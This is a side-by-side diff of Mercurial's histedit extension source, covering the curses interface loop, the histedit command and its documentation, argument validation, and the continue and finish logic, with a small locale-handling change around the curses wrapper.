1596 stdscr.refresh()
1597 while True:
1597 while True:
1598 try:
1598 try:
1599 oldmode, _ = state[b'mode']
1599 oldmode, _ = state[b'mode']
1600 if oldmode == MODE_INIT:
1600 if oldmode == MODE_INIT:
1601 changemode(state, MODE_RULES)
1601 changemode(state, MODE_RULES)
1602 e = event(state, ch)
1602 e = event(state, ch)
1603
1603
1604 if e == E_QUIT:
1604 if e == E_QUIT:
1605 return False
1605 return False
1606 if e == E_HISTEDIT:
1606 if e == E_HISTEDIT:
1607 return state[b'rules']
1607 return state[b'rules']
1608 else:
1608 else:
1609 if e == E_RESIZE:
1609 if e == E_RESIZE:
1610 size = screen_size()
1610 size = screen_size()
1611 if size != stdscr.getmaxyx():
1611 if size != stdscr.getmaxyx():
1612 curses.resizeterm(*size)
1612 curses.resizeterm(*size)
1613
1613
1614 curmode, _ = state[b'mode']
1614 curmode, _ = state[b'mode']
1615 sizes = layout(curmode)
1615 sizes = layout(curmode)
1616 if curmode != oldmode:
1616 if curmode != oldmode:
1617 state[b'page_height'] = sizes[b'main'][0]
1617 state[b'page_height'] = sizes[b'main'][0]
1618 # Adjust the view to fit the current screen size.
1618 # Adjust the view to fit the current screen size.
1619 movecursor(state, state[b'pos'], state[b'pos'])
1619 movecursor(state, state[b'pos'], state[b'pos'])
1620
1620
1621 # Pack the windows against the top, each pane spread across the
1621 # Pack the windows against the top, each pane spread across the
1622 # full width of the screen.
1622 # full width of the screen.
1623 y, x = (0, 0)
1623 y, x = (0, 0)
1624 helpwin, y, x = drawvertwin(sizes[b'help'], y, x)
1624 helpwin, y, x = drawvertwin(sizes[b'help'], y, x)
1625 mainwin, y, x = drawvertwin(sizes[b'main'], y, x)
1625 mainwin, y, x = drawvertwin(sizes[b'main'], y, x)
1626 commitwin, y, x = drawvertwin(sizes[b'commit'], y, x)
1626 commitwin, y, x = drawvertwin(sizes[b'commit'], y, x)
1627
1627
1628 if e in (E_PAGEDOWN, E_PAGEUP, E_LINEDOWN, E_LINEUP):
1628 if e in (E_PAGEDOWN, E_PAGEUP, E_LINEDOWN, E_LINEUP):
1629 if e == E_PAGEDOWN:
1629 if e == E_PAGEDOWN:
1630 changeview(state, +1, b'page')
1630 changeview(state, +1, b'page')
1631 elif e == E_PAGEUP:
1631 elif e == E_PAGEUP:
1632 changeview(state, -1, b'page')
1632 changeview(state, -1, b'page')
1633 elif e == E_LINEDOWN:
1633 elif e == E_LINEDOWN:
1634 changeview(state, +1, b'line')
1634 changeview(state, +1, b'line')
1635 elif e == E_LINEUP:
1635 elif e == E_LINEUP:
1636 changeview(state, -1, b'line')
1636 changeview(state, -1, b'line')
1637
1637
1638 # start rendering
1638 # start rendering
1639 commitwin.erase()
1639 commitwin.erase()
1640 helpwin.erase()
1640 helpwin.erase()
1641 mainwin.erase()
1641 mainwin.erase()
1642 if curmode == MODE_PATCH:
1642 if curmode == MODE_PATCH:
1643 renderpatch(mainwin, state)
1643 renderpatch(mainwin, state)
1644 elif curmode == MODE_HELP:
1644 elif curmode == MODE_HELP:
1645 renderstring(mainwin, state, __doc__.strip().splitlines())
1645 renderstring(mainwin, state, __doc__.strip().splitlines())
1646 else:
1646 else:
1647 renderrules(mainwin, state)
1647 renderrules(mainwin, state)
1648 rendercommit(commitwin, state)
1648 rendercommit(commitwin, state)
1649 renderhelp(helpwin, state)
1649 renderhelp(helpwin, state)
1650 curses.doupdate()
1650 curses.doupdate()
1651 # done rendering
1651 # done rendering
1652 ch = encoding.strtolocal(stdscr.getkey())
1652 ch = encoding.strtolocal(stdscr.getkey())
1653 except curses.error:
1653 except curses.error:
1654 pass
1654 pass
1655
1655
1656
1656
1657 def _chistedit(ui, repo, freeargs, opts):
1657 def _chistedit(ui, repo, freeargs, opts):
1658 """interactively edit changeset history via a curses interface
1658 """interactively edit changeset history via a curses interface
1659
1659
1660 Provides a ncurses interface to histedit. Press ? in chistedit mode
1660 Provides a ncurses interface to histedit. Press ? in chistedit mode
1661 to see an extensive help. Requires python-curses to be installed."""
1661 to see an extensive help. Requires python-curses to be installed."""
1662
1662
1663 if curses is None:
1663 if curses is None:
1664 raise error.Abort(_(b"Python curses library required"))
1664 raise error.Abort(_(b"Python curses library required"))
1665
1665
1666 # disable color
1666 # disable color
1667 ui._colormode = None
1667 ui._colormode = None
1668
1668
1669 try:
1669 try:
1670 keep = opts.get(b'keep')
1670 keep = opts.get(b'keep')
1671 revs = opts.get(b'rev', [])[:]
1671 revs = opts.get(b'rev', [])[:]
1672 cmdutil.checkunfinished(repo)
1672 cmdutil.checkunfinished(repo)
1673 cmdutil.bailifchanged(repo)
1673 cmdutil.bailifchanged(repo)
1674
1674
1675 if os.path.exists(os.path.join(repo.path, b'histedit-state')):
1675 if os.path.exists(os.path.join(repo.path, b'histedit-state')):
1676 raise error.Abort(
1676 raise error.Abort(
1677 _(
1677 _(
1678 b'history edit already in progress, try '
1678 b'history edit already in progress, try '
1679 b'--continue or --abort'
1679 b'--continue or --abort'
1680 )
1680 )
1681 )
1681 )
1682 revs.extend(freeargs)
1682 revs.extend(freeargs)
1683 if not revs:
1683 if not revs:
1684 defaultrev = destutil.desthistedit(ui, repo)
1684 defaultrev = destutil.desthistedit(ui, repo)
1685 if defaultrev is not None:
1685 if defaultrev is not None:
1686 revs.append(defaultrev)
1686 revs.append(defaultrev)
1687 if len(revs) != 1:
1687 if len(revs) != 1:
1688 raise error.Abort(
1688 raise error.Abort(
1689 _(b'histedit requires exactly one ancestor revision')
1689 _(b'histedit requires exactly one ancestor revision')
1690 )
1690 )
1691
1691
1692 rr = list(repo.set(b'roots(%ld)', scmutil.revrange(repo, revs)))
1692 rr = list(repo.set(b'roots(%ld)', scmutil.revrange(repo, revs)))
1693 if len(rr) != 1:
1693 if len(rr) != 1:
1694 raise error.Abort(
1694 raise error.Abort(
1695 _(
1695 _(
1696 b'The specified revisions must have '
1696 b'The specified revisions must have '
1697 b'exactly one common root'
1697 b'exactly one common root'
1698 )
1698 )
1699 )
1699 )
1700 root = rr[0].node()
1700 root = rr[0].node()
1701
1701
1702 topmost = repo.dirstate.p1()
1702 topmost = repo.dirstate.p1()
1703 revs = between(repo, root, topmost, keep)
1703 revs = between(repo, root, topmost, keep)
1704 if not revs:
1704 if not revs:
1705 raise error.Abort(
1705 raise error.Abort(
1706 _(b'%s is not an ancestor of working directory')
1706 _(b'%s is not an ancestor of working directory')
1707 % node.short(root)
1707 % node.short(root)
1708 )
1708 )
1709
1709
1710 ctxs = []
1710 ctxs = []
1711 for i, r in enumerate(revs):
1711 for i, r in enumerate(revs):
1712 ctxs.append(histeditrule(ui, repo[r], i))
1712 ctxs.append(histeditrule(ui, repo[r], i))
1713 rc = curses.wrapper(functools.partial(_chisteditmain, repo, ctxs))
1713 with util.with_lc_ctype():
1714 rc = curses.wrapper(functools.partial(_chisteditmain, repo, ctxs))
1714 curses.echo()
1715 curses.echo()
1715 curses.endwin()
1716 curses.endwin()
1716 if rc is False:
1717 if rc is False:
1717 ui.write(_(b"histedit aborted\n"))
1718 ui.write(_(b"histedit aborted\n"))
1718 return 0
1719 return 0
1719 if type(rc) is list:
1720 if type(rc) is list:
1720 ui.status(_(b"performing changes\n"))
1721 ui.status(_(b"performing changes\n"))
1721 rules = makecommands(rc)
1722 rules = makecommands(rc)
1722 with repo.vfs(b'chistedit', b'w+') as fp:
1723 with repo.vfs(b'chistedit', b'w+') as fp:
1723 for r in rules:
1724 for r in rules:
1724 fp.write(r)
1725 fp.write(r)
1725 opts[b'commands'] = fp.name
1726 opts[b'commands'] = fp.name
1726 return _texthistedit(ui, repo, freeargs, opts)
1727 return _texthistedit(ui, repo, freeargs, opts)
1727 except KeyboardInterrupt:
1728 except KeyboardInterrupt:
1728 pass
1729 pass
1729 return -1
1730 return -1
1730
1731
1731
1732
1732 @command(
1733 @command(
1733 b'histedit',
1734 b'histedit',
1734 [
1735 [
1735 (
1736 (
1736 b'',
1737 b'',
1737 b'commands',
1738 b'commands',
1738 b'',
1739 b'',
1739 _(b'read history edits from the specified file'),
1740 _(b'read history edits from the specified file'),
1740 _(b'FILE'),
1741 _(b'FILE'),
1741 ),
1742 ),
1742 (b'c', b'continue', False, _(b'continue an edit already in progress')),
1743 (b'c', b'continue', False, _(b'continue an edit already in progress')),
1743 (b'', b'edit-plan', False, _(b'edit remaining actions list')),
1744 (b'', b'edit-plan', False, _(b'edit remaining actions list')),
1744 (
1745 (
1745 b'k',
1746 b'k',
1746 b'keep',
1747 b'keep',
1747 False,
1748 False,
1748 _(b"don't strip old nodes after edit is complete"),
1749 _(b"don't strip old nodes after edit is complete"),
1749 ),
1750 ),
1750 (b'', b'abort', False, _(b'abort an edit in progress')),
1751 (b'', b'abort', False, _(b'abort an edit in progress')),
1751 (b'o', b'outgoing', False, _(b'changesets not found in destination')),
1752 (b'o', b'outgoing', False, _(b'changesets not found in destination')),
1752 (
1753 (
1753 b'f',
1754 b'f',
1754 b'force',
1755 b'force',
1755 False,
1756 False,
1756 _(b'force outgoing even for unrelated repositories'),
1757 _(b'force outgoing even for unrelated repositories'),
1757 ),
1758 ),
1758 (b'r', b'rev', [], _(b'first revision to be edited'), _(b'REV')),
1759 (b'r', b'rev', [], _(b'first revision to be edited'), _(b'REV')),
1759 ]
1760 ]
1760 + cmdutil.formatteropts,
1761 + cmdutil.formatteropts,
1761 _(b"[OPTIONS] ([ANCESTOR] | --outgoing [URL])"),
1762 _(b"[OPTIONS] ([ANCESTOR] | --outgoing [URL])"),
1762 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
1763 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
1763 )
1764 )
1764 def histedit(ui, repo, *freeargs, **opts):
1765 def histedit(ui, repo, *freeargs, **opts):
1765 """interactively edit changeset history
1766 """interactively edit changeset history
1766
1767
1767 This command lets you edit a linear series of changesets (up to
1768 This command lets you edit a linear series of changesets (up to
1768 and including the working directory, which should be clean).
1769 and including the working directory, which should be clean).
1769 You can:
1770 You can:
1770
1771
1771 - `pick` to [re]order a changeset
1772 - `pick` to [re]order a changeset
1772
1773
1773 - `drop` to omit changeset
1774 - `drop` to omit changeset
1774
1775
1775 - `mess` to reword the changeset commit message
1776 - `mess` to reword the changeset commit message
1776
1777
1777 - `fold` to combine it with the preceding changeset (using the later date)
1778 - `fold` to combine it with the preceding changeset (using the later date)
1778
1779
1779 - `roll` like fold, but discarding this commit's description and date
1780 - `roll` like fold, but discarding this commit's description and date
1780
1781
1781 - `edit` to edit this changeset (preserving date)
1782 - `edit` to edit this changeset (preserving date)
1782
1783
1783 - `base` to checkout changeset and apply further changesets from there
1784 - `base` to checkout changeset and apply further changesets from there
1784
1785
1785 There are a number of ways to select the root changeset:
1786 There are a number of ways to select the root changeset:
1786
1787
1787 - Specify ANCESTOR directly
1788 - Specify ANCESTOR directly
1788
1789
1789 - Use --outgoing -- it will be the first linear changeset not
1790 - Use --outgoing -- it will be the first linear changeset not
1790 included in destination. (See :hg:`help config.paths.default-push`)
1791 included in destination. (See :hg:`help config.paths.default-push`)
1791
1792
1792 - Otherwise, the value from the "histedit.defaultrev" config option
1793 - Otherwise, the value from the "histedit.defaultrev" config option
1793 is used as a revset to select the base revision when ANCESTOR is not
1794 is used as a revset to select the base revision when ANCESTOR is not
1794 specified. The first revision returned by the revset is used. By
1795 specified. The first revision returned by the revset is used. By
1795 default, this selects the editable history that is unique to the
1796 default, this selects the editable history that is unique to the
1796 ancestry of the working directory.
1797 ancestry of the working directory.
1797
1798
1798 .. container:: verbose
1799 .. container:: verbose
1799
1800
1800 If you use --outgoing, this command will abort if there are ambiguous
1801 If you use --outgoing, this command will abort if there are ambiguous
1801 outgoing revisions. For example, if there are multiple branches
1802 outgoing revisions. For example, if there are multiple branches
1802 containing outgoing revisions.
1803 containing outgoing revisions.
1803
1804
1804 Use "min(outgoing() and ::.)" or similar revset specification
1805 Use "min(outgoing() and ::.)" or similar revset specification
1805 instead of --outgoing to specify edit target revision exactly in
1806 instead of --outgoing to specify edit target revision exactly in
1806 such ambiguous situation. See :hg:`help revsets` for detail about
1807 such ambiguous situation. See :hg:`help revsets` for detail about
1807 selecting revisions.
1808 selecting revisions.
1808
1809
1809 .. container:: verbose
1810 .. container:: verbose
1810
1811
1811 Examples:
1812 Examples:
1812
1813
1813 - A number of changes have been made.
1814 - A number of changes have been made.
1814 Revision 3 is no longer needed.
1815 Revision 3 is no longer needed.
1815
1816
1816 Start history editing from revision 3::
1817 Start history editing from revision 3::
1817
1818
1818 hg histedit -r 3
1819 hg histedit -r 3
1819
1820
1820 An editor opens, containing the list of revisions,
1821 An editor opens, containing the list of revisions,
1821 with specific actions specified::
1822 with specific actions specified::
1822
1823
1823 pick 5339bf82f0ca 3 Zworgle the foobar
1824 pick 5339bf82f0ca 3 Zworgle the foobar
1824 pick 8ef592ce7cc4 4 Bedazzle the zerlog
1825 pick 8ef592ce7cc4 4 Bedazzle the zerlog
1825 pick 0a9639fcda9d 5 Morgify the cromulancy
1826 pick 0a9639fcda9d 5 Morgify the cromulancy
1826
1827
1827 Additional information about the possible actions
1828 Additional information about the possible actions
1828 to take appears below the list of revisions.
1829 to take appears below the list of revisions.
1829
1830
1830 To remove revision 3 from the history,
1831 To remove revision 3 from the history,
1831 its action (at the beginning of the relevant line)
1832 its action (at the beginning of the relevant line)
1832 is changed to 'drop'::
1833 is changed to 'drop'::
1833
1834
1834 drop 5339bf82f0ca 3 Zworgle the foobar
1835 drop 5339bf82f0ca 3 Zworgle the foobar
1835 pick 8ef592ce7cc4 4 Bedazzle the zerlog
1836 pick 8ef592ce7cc4 4 Bedazzle the zerlog
1836 pick 0a9639fcda9d 5 Morgify the cromulancy
1837 pick 0a9639fcda9d 5 Morgify the cromulancy
1837
1838
1838 - A number of changes have been made.
1839 - A number of changes have been made.
1839 Revision 2 and 4 need to be swapped.
1840 Revision 2 and 4 need to be swapped.
1840
1841
1841 Start history editing from revision 2::
1842 Start history editing from revision 2::
1842
1843
1843 hg histedit -r 2
1844 hg histedit -r 2
1844
1845
1845 An editor opens, containing the list of revisions,
1846 An editor opens, containing the list of revisions,
1846 with specific actions specified::
1847 with specific actions specified::
1847
1848
1848 pick 252a1af424ad 2 Blorb a morgwazzle
1849 pick 252a1af424ad 2 Blorb a morgwazzle
1849 pick 5339bf82f0ca 3 Zworgle the foobar
1850 pick 5339bf82f0ca 3 Zworgle the foobar
1850 pick 8ef592ce7cc4 4 Bedazzle the zerlog
1851 pick 8ef592ce7cc4 4 Bedazzle the zerlog
1851
1852
1852 To swap revision 2 and 4, its lines are swapped
1853 To swap revision 2 and 4, its lines are swapped
1853 in the editor::
1854 in the editor::
1854
1855
1855 pick 8ef592ce7cc4 4 Bedazzle the zerlog
1856 pick 8ef592ce7cc4 4 Bedazzle the zerlog
1856 pick 5339bf82f0ca 3 Zworgle the foobar
1857 pick 5339bf82f0ca 3 Zworgle the foobar
1857 pick 252a1af424ad 2 Blorb a morgwazzle
1858 pick 252a1af424ad 2 Blorb a morgwazzle
1858
1859
1859 Returns 0 on success, 1 if user intervention is required (not only
1860 Returns 0 on success, 1 if user intervention is required (not only
1860 for intentional "edit" command, but also for resolving unexpected
1861 for intentional "edit" command, but also for resolving unexpected
1861 conflicts).
1862 conflicts).
1862 """
1863 """
1863 opts = pycompat.byteskwargs(opts)
1864 opts = pycompat.byteskwargs(opts)
1864
1865
1865 # kludge: _chistedit only works for starting an edit, not aborting
1866 # kludge: _chistedit only works for starting an edit, not aborting
1866 # or continuing, so fall back to regular _texthistedit for those
1867 # or continuing, so fall back to regular _texthistedit for those
1867 # operations.
1868 # operations.
1868 if ui.interface(b'histedit') == b'curses' and _getgoal(opts) == goalnew:
1869 if ui.interface(b'histedit') == b'curses' and _getgoal(opts) == goalnew:
1869 return _chistedit(ui, repo, freeargs, opts)
1870 return _chistedit(ui, repo, freeargs, opts)
1870 return _texthistedit(ui, repo, freeargs, opts)
1871 return _texthistedit(ui, repo, freeargs, opts)
1871
1872
1872
1873
1873 def _texthistedit(ui, repo, freeargs, opts):
1874 def _texthistedit(ui, repo, freeargs, opts):
1874 state = histeditstate(repo)
1875 state = histeditstate(repo)
1875 with repo.wlock() as wlock, repo.lock() as lock:
1876 with repo.wlock() as wlock, repo.lock() as lock:
1876 state.wlock = wlock
1877 state.wlock = wlock
1877 state.lock = lock
1878 state.lock = lock
1878 _histedit(ui, repo, state, freeargs, opts)
1879 _histedit(ui, repo, state, freeargs, opts)
1879
1880
1880
1881
1881 goalcontinue = b'continue'
1882 goalcontinue = b'continue'
1882 goalabort = b'abort'
1883 goalabort = b'abort'
1883 goaleditplan = b'edit-plan'
1884 goaleditplan = b'edit-plan'
1884 goalnew = b'new'
1885 goalnew = b'new'
1885
1886
1886
1887
1887 def _getgoal(opts):
1888 def _getgoal(opts):
1888 if opts.get(b'continue'):
1889 if opts.get(b'continue'):
1889 return goalcontinue
1890 return goalcontinue
1890 if opts.get(b'abort'):
1891 if opts.get(b'abort'):
1891 return goalabort
1892 return goalabort
1892 if opts.get(b'edit_plan'):
1893 if opts.get(b'edit_plan'):
1893 return goaleditplan
1894 return goaleditplan
1894 return goalnew
1895 return goalnew
1895
1896
1896
1897
1897 def _readfile(ui, path):
1898 def _readfile(ui, path):
1898 if path == b'-':
1899 if path == b'-':
1899 with ui.timeblockedsection(b'histedit'):
1900 with ui.timeblockedsection(b'histedit'):
1900 return ui.fin.read()
1901 return ui.fin.read()
1901 else:
1902 else:
1902 with open(path, b'rb') as f:
1903 with open(path, b'rb') as f:
1903 return f.read()
1904 return f.read()
1904
1905
1905
1906
1906 def _validateargs(ui, repo, state, freeargs, opts, goal, rules, revs):
1907 def _validateargs(ui, repo, state, freeargs, opts, goal, rules, revs):
1907 # TODO only abort if we try to histedit mq patches, not just
1908 # TODO only abort if we try to histedit mq patches, not just
1908 # blanket if mq patches are applied somewhere
1909 # blanket if mq patches are applied somewhere
1909 mq = getattr(repo, 'mq', None)
1910 mq = getattr(repo, 'mq', None)
1910 if mq and mq.applied:
1911 if mq and mq.applied:
1911 raise error.Abort(_(b'source has mq patches applied'))
1912 raise error.Abort(_(b'source has mq patches applied'))
1912
1913
1913 # basic argument incompatibility processing
1914 # basic argument incompatibility processing
1914 outg = opts.get(b'outgoing')
1915 outg = opts.get(b'outgoing')
1915 editplan = opts.get(b'edit_plan')
1916 editplan = opts.get(b'edit_plan')
1916 abort = opts.get(b'abort')
1917 abort = opts.get(b'abort')
1917 force = opts.get(b'force')
1918 force = opts.get(b'force')
1918 if force and not outg:
1919 if force and not outg:
1919 raise error.Abort(_(b'--force only allowed with --outgoing'))
1920 raise error.Abort(_(b'--force only allowed with --outgoing'))
1920 if goal == b'continue':
1921 if goal == b'continue':
1921 if any((outg, abort, revs, freeargs, rules, editplan)):
1922 if any((outg, abort, revs, freeargs, rules, editplan)):
1922 raise error.Abort(_(b'no arguments allowed with --continue'))
1923 raise error.Abort(_(b'no arguments allowed with --continue'))
1923 elif goal == b'abort':
1924 elif goal == b'abort':
1924 if any((outg, revs, freeargs, rules, editplan)):
1925 if any((outg, revs, freeargs, rules, editplan)):
1925 raise error.Abort(_(b'no arguments allowed with --abort'))
1926 raise error.Abort(_(b'no arguments allowed with --abort'))
1926 elif goal == b'edit-plan':
1927 elif goal == b'edit-plan':
1927 if any((outg, revs, freeargs)):
1928 if any((outg, revs, freeargs)):
1928 raise error.Abort(
1929 raise error.Abort(
1929 _(b'only --commands argument allowed with --edit-plan')
1930 _(b'only --commands argument allowed with --edit-plan')
1930 )
1931 )
1931 else:
1932 else:
1932 if state.inprogress():
1933 if state.inprogress():
1933 raise error.Abort(
1934 raise error.Abort(
1934 _(
1935 _(
1935 b'history edit already in progress, try '
1936 b'history edit already in progress, try '
1936 b'--continue or --abort'
1937 b'--continue or --abort'
1937 )
1938 )
1938 )
1939 )
1939 if outg:
1940 if outg:
1940 if revs:
1941 if revs:
1941 raise error.Abort(_(b'no revisions allowed with --outgoing'))
1942 raise error.Abort(_(b'no revisions allowed with --outgoing'))
1942 if len(freeargs) > 1:
1943 if len(freeargs) > 1:
1943 raise error.Abort(
1944 raise error.Abort(
1944 _(b'only one repo argument allowed with --outgoing')
1945 _(b'only one repo argument allowed with --outgoing')
1945 )
1946 )
1946 else:
1947 else:
1947 revs.extend(freeargs)
1948 revs.extend(freeargs)
1948 if len(revs) == 0:
1949 if len(revs) == 0:
1949 defaultrev = destutil.desthistedit(ui, repo)
1950 defaultrev = destutil.desthistedit(ui, repo)
1950 if defaultrev is not None:
1951 if defaultrev is not None:
1951 revs.append(defaultrev)
1952 revs.append(defaultrev)
1952
1953
1953 if len(revs) != 1:
1954 if len(revs) != 1:
1954 raise error.Abort(
1955 raise error.Abort(
1955 _(b'histedit requires exactly one ancestor revision')
1956 _(b'histedit requires exactly one ancestor revision')
1956 )
1957 )
1957
1958
1958
1959
1959 def _histedit(ui, repo, state, freeargs, opts):
1960 def _histedit(ui, repo, state, freeargs, opts):
1960 fm = ui.formatter(b'histedit', opts)
1961 fm = ui.formatter(b'histedit', opts)
1961 fm.startitem()
1962 fm.startitem()
1962 goal = _getgoal(opts)
1963 goal = _getgoal(opts)
1963 revs = opts.get(b'rev', [])
1964 revs = opts.get(b'rev', [])
1964 nobackup = not ui.configbool(b'rewrite', b'backup-bundle')
1965 nobackup = not ui.configbool(b'rewrite', b'backup-bundle')
1965 rules = opts.get(b'commands', b'')
1966 rules = opts.get(b'commands', b'')
1966 state.keep = opts.get(b'keep', False)
1967 state.keep = opts.get(b'keep', False)
1967
1968
1968 _validateargs(ui, repo, state, freeargs, opts, goal, rules, revs)
1969 _validateargs(ui, repo, state, freeargs, opts, goal, rules, revs)
1969
1970
1970 hastags = False
1971 hastags = False
1971 if revs:
1972 if revs:
1972 revs = scmutil.revrange(repo, revs)
1973 revs = scmutil.revrange(repo, revs)
1973 ctxs = [repo[rev] for rev in revs]
1974 ctxs = [repo[rev] for rev in revs]
1974 for ctx in ctxs:
1975 for ctx in ctxs:
1975 tags = [tag for tag in ctx.tags() if tag != b'tip']
1976 tags = [tag for tag in ctx.tags() if tag != b'tip']
1976 if not hastags:
1977 if not hastags:
1977 hastags = len(tags)
1978 hastags = len(tags)
1978 if hastags:
1979 if hastags:
1979 if ui.promptchoice(
1980 if ui.promptchoice(
1980 _(
1981 _(
1981 b'warning: tags associated with the given'
1982 b'warning: tags associated with the given'
1982 b' changeset will be lost after histedit.\n'
1983 b' changeset will be lost after histedit.\n'
1983 b'do you want to continue (yN)? $$ &Yes $$ &No'
1984 b'do you want to continue (yN)? $$ &Yes $$ &No'
1984 ),
1985 ),
1985 default=1,
1986 default=1,
1986 ):
1987 ):
1987 raise error.Abort(_(b'histedit cancelled\n'))
1988 raise error.Abort(_(b'histedit cancelled\n'))
1988 # rebuild state
1989 # rebuild state
1989 if goal == goalcontinue:
1990 if goal == goalcontinue:
1990 state.read()
1991 state.read()
1991 state = bootstrapcontinue(ui, state, opts)
1992 state = bootstrapcontinue(ui, state, opts)
1992 elif goal == goaleditplan:
1993 elif goal == goaleditplan:
1993 _edithisteditplan(ui, repo, state, rules)
1994 _edithisteditplan(ui, repo, state, rules)
1994 return
1995 return
1995 elif goal == goalabort:
1996 elif goal == goalabort:
1996 _aborthistedit(ui, repo, state, nobackup=nobackup)
1997 _aborthistedit(ui, repo, state, nobackup=nobackup)
1997 return
1998 return
1998 else:
1999 else:
1999 # goal == goalnew
2000 # goal == goalnew
2000 _newhistedit(ui, repo, state, revs, freeargs, opts)
2001 _newhistedit(ui, repo, state, revs, freeargs, opts)
2001
2002
2002 _continuehistedit(ui, repo, state)
2003 _continuehistedit(ui, repo, state)
2003 _finishhistedit(ui, repo, state, fm)
2004 _finishhistedit(ui, repo, state, fm)
2004 fm.end()
2005 fm.end()
2005
2006
2006
2007
2007 def _continuehistedit(ui, repo, state):
2008 def _continuehistedit(ui, repo, state):
2008 """This function runs after either:
2009 """This function runs after either:
2009 - bootstrapcontinue (if the goal is 'continue')
2010 - bootstrapcontinue (if the goal is 'continue')
2010 - _newhistedit (if the goal is 'new')
2011 - _newhistedit (if the goal is 'new')
2011 """
2012 """
2012 # preprocess rules so that we can hide inner folds from the user
2013 # preprocess rules so that we can hide inner folds from the user
2013 # and only show one editor
2014 # and only show one editor
2014 actions = state.actions[:]
2015 actions = state.actions[:]
2015 for idx, (action, nextact) in enumerate(zip(actions, actions[1:] + [None])):
2016 for idx, (action, nextact) in enumerate(zip(actions, actions[1:] + [None])):
2016 if action.verb == b'fold' and nextact and nextact.verb == b'fold':
2017 if action.verb == b'fold' and nextact and nextact.verb == b'fold':
2017 state.actions[idx].__class__ = _multifold
2018 state.actions[idx].__class__ = _multifold
2018
2019
2019 # Force an initial state file write, so the user can run --abort/continue
2020 # Force an initial state file write, so the user can run --abort/continue
2020 # even if there's an exception before the first transaction serialize.
2021 # even if there's an exception before the first transaction serialize.
2021 state.write()
2022 state.write()
2022
2023
2023 tr = None
2024 tr = None
2024 # Don't use singletransaction by default since it rolls the entire
2025 # Don't use singletransaction by default since it rolls the entire
2025 # transaction back if an unexpected exception happens (like a
2026 # transaction back if an unexpected exception happens (like a
2026 # pretxncommit hook throws, or the user aborts the commit msg editor).
2027 # pretxncommit hook throws, or the user aborts the commit msg editor).
2027 if ui.configbool(b"histedit", b"singletransaction"):
2028 if ui.configbool(b"histedit", b"singletransaction"):
2028 # Don't use a 'with' for the transaction, since actions may close
2029 # Don't use a 'with' for the transaction, since actions may close
2029 # and reopen a transaction. For example, if the action executes an
2030 # and reopen a transaction. For example, if the action executes an
2030 # external process it may choose to commit the transaction first.
2031 # external process it may choose to commit the transaction first.
2031 tr = repo.transaction(b'histedit')
2032 tr = repo.transaction(b'histedit')
2032 progress = ui.makeprogress(
2033 progress = ui.makeprogress(
2033 _(b"editing"), unit=_(b'changes'), total=len(state.actions)
2034 _(b"editing"), unit=_(b'changes'), total=len(state.actions)
2034 )
2035 )
2035 with progress, util.acceptintervention(tr):
2036 with progress, util.acceptintervention(tr):
2036 while state.actions:
2037 while state.actions:
2037 state.write(tr=tr)
2038 state.write(tr=tr)
2038 actobj = state.actions[0]
2039 actobj = state.actions[0]
2039 progress.increment(item=actobj.torule())
2040 progress.increment(item=actobj.torule())
2040 ui.debug(
2041 ui.debug(
2041 b'histedit: processing %s %s\n' % (actobj.verb, actobj.torule())
2042 b'histedit: processing %s %s\n' % (actobj.verb, actobj.torule())
2042 )
2043 )
2043 parentctx, replacement_ = actobj.run()
2044 parentctx, replacement_ = actobj.run()
2044 state.parentctxnode = parentctx.node()
2045 state.parentctxnode = parentctx.node()
2045 state.replacements.extend(replacement_)
2046 state.replacements.extend(replacement_)
2046 state.actions.pop(0)
2047 state.actions.pop(0)
2047
2048
2048 state.write()
2049 state.write()
2049
2050
2050
2051
2051 def _finishhistedit(ui, repo, state, fm):
2052 def _finishhistedit(ui, repo, state, fm):
2052 """This action runs when histedit is finishing its session"""
2053 """This action runs when histedit is finishing its session"""
2053 hg.updaterepo(repo, state.parentctxnode, overwrite=False)
2054 hg.updaterepo(repo, state.parentctxnode, overwrite=False)
2054
2055
2055 mapping, tmpnodes, created, ntm = processreplacement(state)
2056 mapping, tmpnodes, created, ntm = processreplacement(state)
2056 if mapping:
2057 if mapping:
2057 for prec, succs in pycompat.iteritems(mapping):
2058 for prec, succs in pycompat.iteritems(mapping):
2058 if not succs:
2059 if not succs:
2059 ui.debug(b'histedit: %s is dropped\n' % node.short(prec))
2060 ui.debug(b'histedit: %s is dropped\n' % node.short(prec))
2060 else:
2061 else:
2061 ui.debug(
2062 ui.debug(
2062 b'histedit: %s is replaced by %s\n'
2063 b'histedit: %s is replaced by %s\n'
2063 % (node.short(prec), node.short(succs[0]))
2064 % (node.short(prec), node.short(succs[0]))
2064 )
2065 )
2065 if len(succs) > 1:
2066 if len(succs) > 1:
2066 m = b'histedit: %s'
2067 m = b'histedit: %s'
2067 for n in succs[1:]:
2068 for n in succs[1:]:
2068 ui.debug(m % node.short(n))
2069 ui.debug(m % node.short(n))
2069
2070
2070 if not state.keep:
2071 if not state.keep:
2071 if mapping:
2072 if mapping:
2072 movetopmostbookmarks(repo, state.topmost, ntm)
2073 movetopmostbookmarks(repo, state.topmost, ntm)
2073 # TODO update mq state
2074 # TODO update mq state
2074 else:
2075 else:
2075 mapping = {}
2076 mapping = {}
2076
2077
2077 for n in tmpnodes:
2078 for n in tmpnodes:
2078 if n in repo:
2079 if n in repo:
2079 mapping[n] = ()
2080 mapping[n] = ()
2080
2081
2081 # remove entries about unknown nodes
2082 # remove entries about unknown nodes
2082 has_node = repo.unfiltered().changelog.index.has_node
2083 has_node = repo.unfiltered().changelog.index.has_node
2083 mapping = {
2084 mapping = {
2084 k: v
2085 k: v
2085 for k, v in mapping.items()
2086 for k, v in mapping.items()
2086 if has_node(k) and all(has_node(n) for n in v)
2087 if has_node(k) and all(has_node(n) for n in v)
2087 }
2088 }
2088 scmutil.cleanupnodes(repo, mapping, b'histedit')
2089 scmutil.cleanupnodes(repo, mapping, b'histedit')
2089 hf = fm.hexfunc
2090 hf = fm.hexfunc
2090 fl = fm.formatlist
2091 fl = fm.formatlist
2091 fd = fm.formatdict
2092 fd = fm.formatdict
2092 nodechanges = fd(
2093 nodechanges = fd(
2093 {
2094 {
2094 hf(oldn): fl([hf(n) for n in newn], name=b'node')
2095 hf(oldn): fl([hf(n) for n in newn], name=b'node')
2095 for oldn, newn in pycompat.iteritems(mapping)
2096 for oldn, newn in pycompat.iteritems(mapping)
2096 },
2097 },
2097 key=b"oldnode",
2098 key=b"oldnode",
2098 value=b"newnodes",
2099 value=b"newnodes",
2099 )
2100 )
2100 fm.data(nodechanges=nodechanges)
